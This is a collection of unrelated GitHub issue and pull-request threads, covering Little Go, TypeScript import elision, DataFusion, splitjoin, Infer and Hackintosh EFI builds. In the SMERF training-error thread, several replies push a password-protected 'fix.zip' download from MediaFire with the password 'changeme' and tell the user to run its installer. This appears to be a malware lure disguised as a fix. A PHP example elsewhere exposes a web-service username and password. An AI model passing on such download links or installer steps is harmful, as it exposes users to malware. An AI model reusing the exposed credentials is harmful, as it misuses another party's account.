Bug report: Fuego rejected the move B4 played by me

Little Go 1.3.1 was released with the expectation to have finally squashed all possible causes for the dreaded "Your move was rejected by Fuego" message. Yet it appears that there is still at least one more possible cause: One and a half years after the release of 1.3.1, in July 2018, I received another bug report with the very same message.
The problem is reproducible in a dev environment, using the in-memory-objects.plist file that is part of the bug report .zip archive. Unfortunately the .zip archive contains almost no log files, so I have no idea how the user who submitted the bug report managed to manufacture the situation.
For the moment I'm leaving this issue open, hopefully I will receive another bug report with more logging information.

littlego-bugreport.zip

Observations:

currentgame.sgf looks OK. Specifically it's not a game file that contains board setup commands (which Little Go cannot handle at the moment).
Restoring the game state from in-memory-objects.plist shows a slightly different board than loading the game from currentgame.sgf.

B5 is empty, but should be white
B4 is empty, but should be black
B3 is white, but should be empty
A3 is empty, but should be black
B2 is empty, but should be black

In both cases the move list is this: gogui-play_sequence B G7 W F7 B E7 W G6 B G5 W G4 B G3 W F5 B F4 W E4 B G5 W F3 B E3 W G4 B A7 W A5 B C5 W B6 B C4 W B7 B C3 W A6 B D3 W C2 B D4 W D2 B D5 W E2 B E5 W E6 B F4 W D6 B G5 W C6 B F2 W F1 B E1 W G2 B G1 W B5 B B4 W B3 B A3 W A2 B B2 W A4 B C1 W B1 B E4 W G4 B F3 W D1 B G5 W F1 B F6 W G2 B G7 W D7 B F5 W F7
Comparing the captures in the move list reveals some differences:

Correct: Move 45 captures 1 stone
Wrong: Move 46 captures 1 stone, move 48 captures 1 stone

Going backwards the problem occurs at move 41: in this move black plays on B4, but on the board the intersection is empty


feature: Dependabot for actions

/close #31

What's the goal of this PR?

What's the goal of this PR?

My bad, Updated the description.


Fix O(N) complexity of StringIndex

For multibyte strings, string[index] have O(N) complexity.
String is traversed in linear fashion to reach required index.
See emacs/rt/string.go (StringGet function).

Potentially can be solved with #94.


Anybody with a newer version of this project?

Hello, I'm leaving from ventura and backing to Monterey but I lost the EFI 9.x versios.
Anybody have?

https://github.com/CLAY-BIOS/Lenovo-ThinkPad-T450s-Hackintosh-OpenCore/issues/124#issuecomment-1685245019

T450s EFI 0.95 - OS Monteray 12.7 : https://drive.google.com/file/d/11iKZ-F94kwDVavUPESGn-prZPnWuwo09/view?usp=sharing

So will there be an EFI for Ventura?

Could you upload your EFI for Ventura, please?

Could you upload your EFI for Ventura, please?

Grab from this link : https://github.com/CLAY-BIOS/Lenovo-ThinkPad-T450s-Hackintosh-OpenCore/issues/131#issuecomment-1732465208

@gonav8 Thank for your EFI, and could you list your bios settings

https://github.com/CLAY-BIOS/Lenovo-ThinkPad-T450s-Hackintosh-OpenCore/issues/124#issuecomment-1742129607

Does the brightness work in ventura?
Or do i Need to install that app like in sonoma


mxnet example in go

There is no go example in mxnet examples directory. Why? go hasn't been support yet?

You are right, Go bindings not supported in this official repo yet, check this out https://github.com/jdeng/gomxnet
instead. Besides, you are not going to get any high lever APIs other than the very fundamental ones.

Is it on schedule for go-package?


Flaky GitVcsIntegrationTest where source dependency is not reset properly when local changes are detected

Not sure how it's getting into this state and may point to a real issue:
Found two occurrences of this:
https://builds.gradle.org/viewLog.html?buildId=10477098&tab=buildResultsDiv&buildTypeId=Gradle_Check_Quick_Java7_Oracle_Windows_dependencyManagement
I've added some additional logging to see if we can catch it again.

I made the content change longer so this should be less likely to happen.  reopen if this reoccurs


Upgrade to Teleport 2.0

Teleport 2.0 is coming out soon. When it does, vendor it into Teleconsole 0.4

Looks like Teleport 2.0 was out since April with a Teleport 2.3.5 available

@shadiakiki1986 correct. Unfortunately it looks like Teleport 2.x series is structured in a way that would break backwards compatibility, i.e. 2.x based clients won't be able to talk to 1.x based teleconsole server. I need to think about this a bit more.

It's a breaking change for security, with an available remedy. The user
that is depending on the private key could either transfer the public key
to the server and use it, or could extract the public key from the private
key and use it. And if the user insists on sticking with the private key,
they could always stick with version 1 as well.
On Dec 20, 2017 3:23 AM, "Ev Kontsevoy"<EMAIL_ADDRESS>wrote:

@shadiakiki1986 https://github.com/shadiakiki1986 correct.
Unfortunately it looks like Teleport 2.x series is structured in a way that
would break backwards compatibility, i.e. 2.x based clients won't be able
to talk to 1.x based teleconsole server. I need to think about this a bit
more.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gravitational/teleconsole/issues/16#issuecomment-352936888,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AIAOhNf67LsmeE4R6oT7aeEDr13TRVnuks5tCGEygaJpZM4Lr8Lm
.


Parameter contrato is integer, not String

The 'contrato' parameter should be integer, not string. Take a look:
$client = new \Dafiti\Correios\Service\Client(
    new \Dafiti\Correios\Entity\Config([
        'wsdl' => 'http://webservicescolhomologacao.correios.com.br/ScolWeb/WebServiceScol?wsdl',
        'usuario' => '60618043',
        'senha' => '8o8otn',
        'codAdministrativo' => '08082650',
        'contrato' =><PHONE_NUMBER>,
    ])
);

Using it as a String gives me error 109. DADOS DO CONTRATO INVALIDOS

That's why then!
So that's why everything looked the same, but didn't work. I'll add an integer validator to this field then.
Thanks for the info @pablo-pacheco !

No problem, the Correios documentation and Support aren't the best thing in the World unfortunately


Do not report as change when update an existing host's info

I would prefer not see "changed = 1" at each playbook run

Thanks!


SMERF -  NO "render_path_.npy files"

Hi, I wanted to run zipnerf train but it keeps to give me error about missing "render_path_.npy files " which I don't understand where to get. Will be very grateful for any help!
Error code:

(smerf-env) deuxvingt@DESKTOP-IGTDLSQ:~/google-research/smerf$ ./scripts/zipnerf.sh
+++ date +%Y%m%d_%H%M
++ TIMESTAMP=20240827_2033
++ SCENES=(alameda berlin london nyc)
++ for SCENE in "${SCENES[@]}"
+++ pwd
++ CHECKPOINT_DIR=/home/deuxvingt/google-research/smerf/checkpoints/20240827_2033-alameda
++ python3 -m smerf.train --gin_configs=configs/models/smerf.gin --gin_configs=configs/zipnerf/alameda.gin --gin_configs=configs/zipnerf/extras.gin '--gin_bindings=smerf.internal.configs.Config.checkpoint_dir = '\''/home/deuxvingt/google-research/smerf/checkpoints/20240827_2033-alameda'\''' --alsologtostderr
2024-08-27 20:33:46.000493: E external/local_xla/xla/stream_executor/cuda/cuda_dnn.cc:9261] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
2024-08-27 20:33:46.000539: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:607] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
2024-08-27 20:33:46.046004: E external/local_xla/xla/stream_executor/cuda/cuda_blas.cc:1515] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2024-08-27 20:33:46.982968: W tensorflow/compiler/tf2tensorrt/utils/py_utils.cc:38] TF-TRT Warning: Could not find TensorRT
I0827 20:33:48.636593<PHONE_NUMBER>85984 train.py:61] main() has started!
I0827 20:33:48.821264<PHONE_NUMBER>85984 xla_bridge.py:660] Unable to initialize backend 'rocm': NOT_FOUND: Could not find registered platform with name: "rocm". Available platform names are: CUDA
I0827 20:33:48.822374<PHONE_NUMBER>85984 xla_bridge.py:660] Unable to initialize backend 'tpu': INTERNAL: Failed to open libtpu.so: libtpu.so: cannot open shared object file: No such file or directory
I0827 20:33:48.822829<PHONE_NUMBER>85984 train.py:83] Loading Gin config...
Traceback (most recent call last):
  File "<frozen runpy>", line 198, in _run_module_as_main
  File "<frozen runpy>", line 88, in _run_code
  File "/home/deuxvingt/google-research/smerf/smerf/train.py", line 850, in <module>
    app.run(main)
  File "/home/deuxvingt/.pyenv/versions/3.11.9/lib/python3.11/site-packages/absl/app.py", line 308, in run
    _run_main(main, args)
  File "/home/deuxvingt/.pyenv/versions/3.11.9/lib/python3.11/site-packages/absl/app.py", line 254, in _run_main
    sys.exit(main(argv))
             ^^^^^^^^^^
  File "/home/deuxvingt/google-research/smerf/smerf/train.py", line 84, in main
    merf_config, teacher_config = merf_distill.load_config(save_config=False)
                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/deuxvingt/google-research/smerf/smerf/internal/distill.py", line 103, in load_config
    assert teacher_config_path.exists(), teacher_config_path
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AssertionError: teachers/alameda/config.gin

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Add ScalarValue::eq_array optimized comparison function

Which issue does this PR close?
Re #790 / part of https://github.com/apache/arrow-datafusion/pull/808 which can be reviewed independently
Rationale for this change

For the group by hash algorithm in #808, being able to compare values in [ArrayRef] to [ScalarValue] is in the performance critical section and thus should be optimized. Creating ScalarValues from the ArrayRefs is too slow and results in copying.

What changes are included in this PR?

Add a specialized eq_array function to ScalarValue
Test for same
A bug fix for null handling in ScalarValue::try_from_array for dictionary arrays

Are there any user-facing changes?
No

Could it make sense to use arrow::compute::kernels::comparison::eq_utf8_scalar, simd_compare_op and the like? Not sure there is an implementation for the dictionary array, but, for the remaining, it seems that this is the case.

Could it make sense to use arrow::compute::kernels::comparison::eq_utf8_scalar, simd_compare_op and the like? Not sure there is an implementation for the dictionary array, but, for the remaining, it seems that this is the case.

I am not sure @jorgecarleitao  -- in this case there is only a single row (potentially multiple columns) being compared so I am not sure if calling into the kernels would help at all

Ok, maybe I am misunderstanding, sorry, it has been a while.
If I recall, we will need to perform N x M comparisons where N is the number of rows in the batch and M the distinct number of items in a group, around here, roughly represented in for (row, hash) in batch_hashes.into_iter().enumerate() and the inner group_values.iter()....all(op).
The implementation array_eq will promote an non-vectorized approach where each operation requires a downcast and some conversions, i.e. it needs to check type (downcast), 2 bound checks (.is_valid and .value) and works on non-aligned memory (i.e. not all comparisons are done at once).
The suggestion to use the kernels to use a vectorized comparison, which leverages an aligned memory, no bound checks, and no type checking (i.e. no per item downcast). Sorry I do not have any code :/, was just a comment hinting to the opportunity to vectorize the operation.

If I recall, we will need to perform N x M comparisons where N is the number of rows in the batch and M the distinct number of items in a group, around here, roughly represented in for (row, hash) in batch_hashes.into_iter().enumerate() and the inner group_values.iter()....all(op).

Yes, I think that is accurate. I would love to figure out how to use a vectorized approach
In #808  we have a hash table mapping (effectively) [ScalarValue] -> (aggregate data)and we have input[ArrayRef]`. The hash calculation is vectorized (so that is good), and then there is a loop that looks like
for (hash, index) in ... {
  // look up entry in hash table for row `index`
  // check if the values at `[ArrayRefs]` @ `index` are the same as in the entry in the table (what this PR's code, `array_eq`, is used for)
  // ...
}

In order to vectorize this calculation, I think we would have to somehow vectorize both the lookup in the table as well as the comparison.
I suppose we could potentially copy the existing keys out of the hash entries (so they are contiguous) to do a vectorized comparison but my intuition is that the cost of this copy would outweigh any gains due to vectorization

I agree vectorizing that part can be hard I think it means somehow delaying the collision handling and doing it for the full batch instead.
That might require implementing a different hash table data structure or ignoring the collisions in the first place.
This is a good improvement over what we have.

I think it's pretty hard as @alamb mentions to vectorize this part, as it also depends on the hashtable data structure (check collision on insert). I think a fully vectorized algorithm should build the table and do collision handling in different loops.

I also add some comments to the function explaining that this function has a narrow usecase and that the compute kernels should be preferred if at all possible.

Github actions appears to be having issues https://www.githubstatus.com/ so no checks have run on this PR

🎉  Thanks @Dandandan


Respaldo

Can you fix the pr please

Add description and proper title as well to understand what has been changed


Update to new couch_epi API

Depends on https://github.com/apache/couchdb-couch-epi/pull/12

+1 after https://github.com/apache/couchdb-couch-epi/pull/12 is merged.


To package linux-pkg these tools are required: makepkg (with Docker)

When running hover build linux-pkg --docker:
hover: Compiling go binary using docker container
Running this docker command: /usr/bin/docker run --rm --mount type=bind,source=/home/marchello/Desktop/sharik/sharik,target=/app --mount type=bind,source=/home/marchello/.cache/hover/engine,target=/root/.cache/hover/engine --mount type=bind,source=/home/marchello/.cache/hover/docker-go-cache,target=/go-cache --env GOCACHE=/go-cache --env HOVER_SAFE_CHOWN_UID=1001 --env HOVER_SAFE_CHOWN_GID=1001 --env GOPROXY=https://proxy.golang.org,direct
 --env GOPRIVATE=
 goflutter/hover:v0.42.0 hover-safe.sh build linux-pkg --skip-flutter-build-bundle --skip-engine-download
docker container: hover: To package linux-pkg these tools are required: makepkg
docker container: hover: To still package linux-pkg without the required tools installed you need to run hover with the `--docker` flag.
hover: Docker run failed: exit status 1

The problem is known. I haven't found a solution yet, but PRs are welcome. I already tried copying from an arch stage and building it on ubuntu, but it wouldn't work because of some library incompatabilities. I can post the code for building on ubuntu later so anyone can tinker with it.

It's fixed with this PR: https://github.com/go-flutter-desktop/hover/pull/164


AbstractVaultConfiguration overwrites the default task scheduler bean

I ran into this issue when using the Spring @Scheduled annotation. which expects a generic TaskScheduler to be available in the application context.
In Spring Vault 2.0.1, the AbstractVaultConfiguration contains a bean definition for ThreadPoolTaskScheduler configured with vault specific properties (code below).
Since the bean is unqualified, it replaces the default TaskScheduler in the application context. Modules which rely on the default task scheduler start using the vault-specific one instead.
This can be solved by adding a qualifier name to the bean inside the Vault Configuration, and specifically autowiring that bean in any Vault-specific functionality.
https://github.com/spring-projects/spring-vault/blob/c725dcff334304082468a183b5a2015afe8e5086/spring-vault-core/src/main/java/org/springframework/vault/config/AbstractVaultConfiguration.java#L147-L157

You can subclass AbstractVaultConfiguration, override the threadPoolTaskScheduler() method and add @Bean @Qualifier("…") to the overriden method. To solve the issue. Alternatively, provide a task scheduler bean named taskScheduler to use a specific scheduler when using @Scheduled.

@mp911de Mark, thanks for responding. In my question, I did mention the @Qualifier workaround.
The default configuration produces the undesirable effect of overwriting the global scheduler bean with a vault-specific thread configuration.
Spring's out of the box configurations should do the "right" thing by default. Adding a vault-specific @Qualifier directly to AbstractVaultConfiguration would avoid the unwanted side-effect.

Spring configuration does the right thing™ only to some degree. Individual modules do their best to provide a sufficient level of configuration that suits most users needs while trying to not conflict with other functionality in the eco-system. Serious applications should not rely on defaults but rather apply specific configuration where needed.
What we will do, is renaming the beans to indicate they're originating in Vault's configuration as the bean name is currently rather generic.

Closing without fixing as per comment above.

@mp911de, sounds good. Thanks!


Dependabot docker base 2.2.6

Pull Request Checklist:

[ ] Positive Test Case Written by Dev

[ ] Automated Testing

[ ] Sufficient User and Developer Documentation

[ ] Passing Jenkins Build

[ ] Peer Code review and approval

Positive Test Case

[Enter positive test case here]

METRIC
VALUE

https://sonarqube.cuahsi-workstation.com:9000/dashboard?id=hydroshare-5037


[backport] Improve the documentation on interoperability

Backport of #5023

[automatic post] Jenkins, test this please.

Jenkins CI test (for commit d00f502166f5a25960292615034eb0bb2c0879f9, target branch v9) failed with status FAILURE.

pfnCI, test this please.

Jenkins CI test (for commit d00f502166f5a25960292615034eb0bb2c0879f9, target branch v9) succeeded!


Add CIP-64 support to viem

todo: make an issue in the viem repo, rather than this placeholder thing

When this is completed, this small issue will be unblocked:

https://github.com/0xarthurxyz/txtypes/issues/1

Linking the viem PR for this issue (for future reference):

https://github.com/wagmi-dev/viem/pull/1379

closing time?

Yes


GDB failed with gdb

I have build a fpga project for pulpissimo with altera fpga a10. Now i can access the inter memory of pulpissimo with pulp debug bridge successfully. But when i connected gdb(riscv32-unknown-elf-gdb), i got the following error message. What should i do? Thank you.
Found ftdi device i:0x403:0x6010:0
Connecting to ftdi device i:0x403:0x6010:0
RSP server opened on port 1234
RSP: Client connected!
RSP: Error receiving
RSP: Error receiving

Hi FrancescoConti,
I used some third-party's scripts, i don't sure i can post them directly. But when i finshed this project, i think i can translate them to native altera scripts. Then i can contribute them.
Thanks a lot.


Enable 'full' feature in tokio for zebra-test

Motivation
Currently in main you can't compile a test for a single package, i.e. cargo test -p zebra-chain --lib. This is because it uses zebra-test which requires the sync feature from tokio, but only enables it in dev-dependencies. However, dev-dependencies of dependencies are ignored:

Note that dev-dependencies in dependencies are always ignored, this is only relevant for the top-level package or workspace members.

https://doc.rust-lang.org/cargo/reference/resolver.html
Specifications

Designs

Solution
Enable full in  zebra-test, not only on dev-dependencies.
My rationale is that zebra-test is not a test in itself, so for it to be used it needs to specify its proper dependencies in dependencies and not dev-
But I'm not confident this is the best solution. Possible options / improvements:

Don't use full but actually enumerate everything that is required
Instead add a dev-dependencies in each package that uses it

Some package include zebra-testin dependencies (e.g. zebra-chain) instead of just in dev-dependencies, so this PR would end up making Zebra always use full in tokio.

Review
This is not urgent, but this issue prevents running specific tests in some packages (e.g. zebra-chain) while developing which is annoying.

Reviewer Checklist

[ ] Code implements Specs and Designs
[ ] Tests for Expected Behaviour
[ ] Tests for Errors

Follow Up Work

Some package include zebra-testin dependencies (e.g. zebra-chain) instead of just in dev-dependencies, so this PR would end up making Zebra always use full in tokio.

I think this is fine, because the zebra-test entries in dependencies are all optional. They are only enabled when the proptest-impl feature is active.

* Don't use `full` but actually enumerate everything that is required

Cargo's feature aggregation means we'll probably end up with full anyway in our test builds.
So I don't think enumerating requirements will help much, unless we want to always enumerate the features that are required for each crate, and commit to maintaining that going forward. (I'm not sure it's worth the extra work.)

Alright I'm going to merge this, because it will block me next time I make changes to zebra-chain.


Javascript: Split function arguments

Given JS:
const func = ({▐ a, b, c }) => (
)

Expected:
const func = ({
  a,
  b,
  c,
}) => (
)

Actual:
const func = ({ a, b, c }) => {
  return (
})

The plugin is attempting to detect this as a fat-arrow function. Which is sort of correct, but not completely... Difficult to make it "see" that the "body" of the function is not a valid expression.
In this particular case, detecting the object in the brackets seems like it should take priority anyway. I've reordered priorities, and your example should work now. Could you check it out?

@firedev Any update on this? I'm interested.

@adamtaylor13 Well, the change I made is in master, so you should be able to test it yourself? Does it work correctly for you?

@AndrewRadev I wasn't aware the change was in master. I was under the impression this hadn't been fixed since it was still open.

@firedev That's odd, it seems to work for me :/. Could you double-check you've got the latest master? Commt 300e9f1481a62493c490963586c20cce801876cd is the particular one that should fix the issue.
If you do have the latest code, there might be some sort of different setting that's affecting pattern-matching. But if that was the case, I feel like it would be breaking for any object-splitting, like this:
var foo = { bar: "baz" };

What results do you get when splitting with the cursor on bar?

@AndrewRadev Thanks for following this up. foobarbaz works:
var foo = { bar: "baz" }

var foo = {
  bar: "baz"
}

Color – doesn't. I tried with the cursor in the blank space before color and on the c in color
const Color = ({ color, image, size }) => {
  const boxSize = calculateBoxSize(size)
  const marginSize = calculateMarginSize(size)
}

const Color = ({ color, image, size }) => {

  const boxSize = calculateBoxSize(size)
  const marginSize = calculateMarginSize(size)
}

The commit in question is present. I am using Neovim Stable:
:version
NVIM v0.3.1
Build type: Release

$ git show
commit a034cfea4c5f92b947d109241c6c2bddbfcae325 (HEAD -> master, origin/master, origin/HEAD)
Author: Andrew Radev<EMAIL_ADDRESS>Date:   Fri Aug 10 17:40:02 2018 +0300

    Fix subtle ruby options bug
...

$ git log --oneline | grep  300e9f1
300e9f1 Try to fix js object splitting in a fat-arrow function

Hm, I changed to nvim to try it out, and I got the same problem! I was sort of glad I managed to reproduce it, for a bit, until I realized that nvim config is in ~/.config/nvim/, and I simply hadn't updated splitjoin there :).
Well, I suppose I still can't reproduce it, then, so it must be some kind of setting that differs between us. I've pushed a branch, debug-138. Change to it, and, when you split, execute the :messages command. This should show you a log of what splitjoin was doing, and which callback ended up getting called. Let's start from there, and I'll see what I'll do once I at least get confirmation which callbacks get invoked.

Ok I got it.
:enew
    handleKeyPress = ({ isKeyUp, test1, test2 }) => (isKeyUp ? this.handleStop() : this.handleStart())

:set ft=javascript gS
handleKeyPress = ({
  isKeyUp,
  test1,
  test2
}) => (isKeyUp ? this.handleStop() : this.handleStart())

File ignored because of a matching ignore pattern. Use "--no-ignore" to override.
File ignored because of a matching ignore pattern. Use "--no-ignore" to override.
Trying to split with callback: sj#js#SplitObjectLiteral
Splitting with callback: sj#js#SplitObjectLiteral
File ignored because of a matching ignore pattern. Use "--no-ignore" to override.
File ignored because of a matching ignore pattern. Use "--no-ignore" to override.

Perfect!
u :set ft=javascript.jsx gS
handleKeyPress = ({ isKeyUp, test1, test2 }) => {
  return (isKeyUp ? this.handleStop() : this.handleStart()
})

gS
handleKeyPress = ({ isKeyUp, test1, test2 }) => {

  return (isKeyUp ? this.handleStop() : this.handleStart()
})

Meh.
Trying to split with callback: sj#html#SplitTags
Trying to split with callback: sj#html#SplitAttributes
Trying to split with callback: sj#js#SplitFatArrowFunction
Splitting with callback: sj#js#SplitFatArrowFunction
Trying to split with callback: sj#html#SplitTags
Trying to split with callback: sj#html#SplitAttributes
Trying to split with callback: sj#js#SplitFatArrowFunction
Splitting with callback: sj#js#SplitFatArrowFunction

And it stays "corrupted":
u u :set ft=javascript gS gS
handleKeyPress = ({ isKeyUp, test1, test2 }) => {

  return (isKeyUp ? this.handleStop() : this.handleStart()
})

Ah, I see, I forgot to update the jsx split definitions. Try it out now, it should work for that filetype as well.

This seems to work for me now, so I'll go ahead and close the issue.


When is the next release?

I was just wondering if you when the next planned release was going to be?
Thanks,
Eric Garcia

So I'm guessing this is no longer active?

Seems to be dormant for now. I maintain an alternate fork – Kafdrop 3. You may consider this if you need support for latest Kafka broker versions.


Add --preserveValueImports

Fixes #43393
Successor of #44137
Adds a flag --noErasingImportedNames which prevents the elision of unreferenced value-having imports in JS:
// index.ts
import { readFile } from "fs";
eval("console.log(readFile)");

// tsc --module=es2015 💥
eval("console.log(readFile)");
export {};

// tsc --module=es2015 --importsNotUsedAsValues=preserve 💥
import "fs";
eval("console.log(readFile)");

// tsc --module=es2015 --noErasingImportedNames ✅
import { readFile } from "fs";
eval("console.log(readFile)");

It does not prevent the elision of imports that resolve to types or type-only exports, because that would create runtime errors:
// mod.ts
export interface I {}
class C {}
export type { C };

// index.ts
import { I, C } from "./mod";

// tsc --module=es2015
export {};

// tsc --module=es2015 --importsNotUsedAsValues=preserve
import "./mod";

// tsc --module=es2015 --noErasingImportedNames
export {};

However, this means that when combining --noErasingImportedNames with --isolatedModules, types and type-only exports must be imported with import type. Otherwise, single-file transpilation can’t know what import specifiers are safe to preserve:
import { writeFile, WriteFileOptions } from "fs";
//                  ^^^^^^^^^^^^^^^^
// TS1444: 'WriteFileOptions' is a type and must be imported with a type-only import when 'noErasingImportedNames' and 'isolatedModules' are both enabled.

To make this restriction easier to deal with, a subsequent PR will enable making individual import specifiers type-only:
import { writeFile, type WriteFileOptions } from "fs"; // ✅

That PR will also adjust auto-import and organize imports behavior according to these options.
The flag is only valid in es2015+ module emit because downleveling ESM imports to other module systems involves creating a temporary variable with a mangled name and doing property access off that name, so preserving names as written is not possible—the eval example wouldn’t work because the way to access readFile in the JS would be fs_1.readFile (or another subscript if conflicting), not readFile.

@typescript-bot pack this

@typescript-bot pack this

import { writeFile, WriteFileOptions } from "fs";
//                  ^^^^^^^^^^^^^^^^
// TS1444: 'WriteFileOptions' is a type and must be imported with a type-only import when 'noErasingImportedNames' and 'isolatedModules' are both enabled.

Why not just use
import { writeFile } from "fs";
import type { WriteFileOptions } from "fs";

@xiaoxiangmoe that’s an option, but some people (I think reasonably) don't want to have two separate import statements for nearly every module, so we’re planning to add the specifier-level type modifier for ergonomics.

import { type WriteFileOptions } from "fs"; // ✅

Should we compile it to import "fs"; in --preserveValueImports?

My plan was for that to emit import {} from "fs". I think that’s the most intuitive.

import { type WriteFileOptions } from "fs";
My plan was for that to emit import {} from "fs". I think that’s the most intuitive.

That's definitely the desired behavior for "importsNotUsedAsValues": "preserve"
I assume the whole import would be elided in the case of "importsNotUsedAsValues": "remove" (though I really don't mind either way here).

Yeah, my answer was for --preserveValueImports, but I agree with that as well @robpalme.

Thank you for landing this feature in time for TypeScript 4.5! 🎉
I am super excited for the follow-on PR to introduce type-only import identifiers. Probably we would wait for that before enabling this feature, to avoid doubling up on import lines (that would occur via the addition of an import type line). IMO this all adds up to excellent progress towards explicitness and simplicity.

@xiaoxiangmoe
Sorry for tagging. But I found your example bad in that it's already marked with type and the flag  --preserveValueImports, as stated clearly in OP, is about "value-having" imports. So from my point of view, your example has nothing to do with this option. An import that used as a type is destined to be removed.
Leave my comment here to help future readers. If you found my argument incorrect please let me know.
import { type WriteFileOptions } from "fs";

@xiaoxiangmoe

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

Sorry for tagging. But I found your example bad in that it's already marked with type and the flag  --preserveValueImports, as stated clearly in OP, is about "value-having" imports. So from my point of view, your example has nothing to do with this option. An import that used as a type is destined to be removed.
Leave my comment here to help future readers. If you found my argument incorrect please let me know.
import { type WriteFileOptions } from "fs";

@xiaoxiangmoe

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

Sorry for tagging. But I found your example bad in that it's already marked with type and the flag  --preserveValueImports, as stated clearly in OP, is about "value-having" imports. So from my point of view, your example has nothing to do with this option. An import that used as a type is destined to be removed.
Leave my comment here to help future readers. If you found my argument incorrect please let me know.

@xiaoxiangmoe

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

Sorry for tagging. But I found your example bad in that it's already marked with type and the flag  --preserveValueImports, as stated clearly in OP, is about "value-having" imports. So from my point of view, your example has nothing to do with this option. An import that used as a type is destined to be removed (when the time preserveValueImports is not yet deprecated).
Leave my comment here to help future readers. If you found my argument incorrect please let me know.

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

@xiaoxiangmoe Sorry for tagging, but I found your example bad (not to be offensive as my intention is to hep future readers) in that it has nothing to do with the option/flag --preserveValueImports, which is all about value-having imports as clearly stated in OP. To conclude: An import that is used as a type was destined to be removed when --preserveValueImports was not yet deprecated.
If you found my argument wrong, please let me know. Thanks for your reading.

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

@xiaoxiangmoe Sorry for tagging, but I found your example bad (not to be offensive as my intention is to help future readers) in that it has nothing to do with the option/flag --preserveValueImports, which is all about value-having imports as clearly stated in OP. To conclude: An import that is used as a type was destined to be removed when --preserveValueImports was not yet deprecated.
If you found my argument wrong, please let me know. Thanks for your reading.

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

@xiaoxiangmoe Sorry for tagging, but I found your example bad (not to be offensive as my intention is to help future readers) in that it has nothing to do with the option/flag --preserveValueImports, which is all about value-having imports as clearly stated in OP. To conclude: An import that is used as a type was destined to be removed when  --preserveValueImports was not yet deprecated.
If you found my argument wrong, please let me know. Thanks for your reading.

import { type WriteFileOptions } from "fs";

Under --preserveValueImports, import "fs"; or import {} from 'fs'; or ;, which one should we compile it to?

@xiaoxiangmoe Sorry for tagging, but I found your example might not be related in that it has nothing to do with the option/flag --preserveValueImports, which is all about value-having imports as clearly stated in OP. To conclude: An import that is used as a type was destined to be removed when  --preserveValueImports was not yet deprecated.
If you found my argument wrong, please let me know. Thanks for your reading.


Fix BiblioSpec combine ion mobility

fixed BiblioSpec to read ion mobility vendor files in combined spectra form (addresses BiblioSpec taking forever to try to read MSAmanda searches direct from ddaPASEF .d)

I need to add a ddaPASEF search test in Skyline. That would have caught this.


Precondition_not_met for array functions [Question]

I've analysed the following code snippet with Infer:
void update(int i, int val){
    a[i] = val;
}

Where 'a' is an already initialised array of integers. When I analysed the class that calls this function I saw that Infer's debug information in the captured folder outputs: 'precondition_not_met in call to update..'
This warning can be removed by changing the function update to something like this:
void update(int i, int val){
   if(i < a.length || i < 0) return;
   a[i] = val;
}

Which makes sense because if I look at the preconditions for the function update it requires that 'i', 'val' and 'this' point to allocated memory (and if I interpreted the output correctly) that 'this' has an object 'val$[number]' which is reachable from 'this' and represents the value 'a[i]'.
If I would (try to) write it in separation logic, something like this:
{ i |-> _ * val |-> _ * this.a |-> j * ls(j,i') * i' |-> _  }

update(i, val)

{ i |-> _ * val |-> _ * this.a |-> j * ls(j,i') * i' |-> val }

There doesn't seem to be a relation between i and i' in the pre and postcondition, how does Infer infer this?

Can I draw the conclusion from this that Infer 'knows' about the array bounds, and finds that without the added check for the function update 'a[i]' may not be reachable?

The length of 'a' doesn't seem to matter, I believe because Infer applies an abstraction for loops and assumes that after a couple of correct loops it will work on loops for arbitrary size, or is this a wrong assumption and does Infer know something about the exact size of array's and lists?

Debug output:
(BigObject contains the array 'a' )
PRE:
val = val$1 formal:int ( sub ) ;
this = val$2 formal:class small.BigObject *( sub ) ;
i = val$5 formal:int ( sub ) ;
this|->{small.BigObject.a:val$3 rearrange:(z)14} rearrange:(z)14:class small.BigObject ( sub ) ;
val$3|->[val$4|i:val$6 rearrange:(z)14] rearrange:(z)14:int [val$4]( sub )
POST 1 of 1:
val = val$1 formal:int ( sub ) ;
this = val$2 formal:class small.BigObject *( sub ) ;
return = val$7 initial:void  ;
i = val$5 formal:int ( sub ) ;
this|->{small.BigObject.a:val$3 formal(z)} formal(z):class small.BigObject ( sub ) ;
val$3|->[val$4|i:val update:(z)14] formal(z):int [val$4]( sub )

Sorry to be so slow in answering your questions!
(1) I don't fully understand this. The precondition { i |-> _ * val |-> _ * this.a |-> j * ls(j,i') * i' |-> _  } is one that you wrote by hand, not one that Infer produced, right? Infer doesn't introduce inductive ls predicates for arrays, so it has no notion of an i'.
(2) Yes, Infer knows to add proof obligations for array bounds, and this is indeed what results in the PRECONDITION_NOT_MET. Although Infer can report some basic array bounds errors (check out ArrayIndexOutOfBoundsExceptionExample in the tests), these errors are not reported by default because they tend to bit a bit noisy. You can ask Infer to report them by running with the -nf flag.
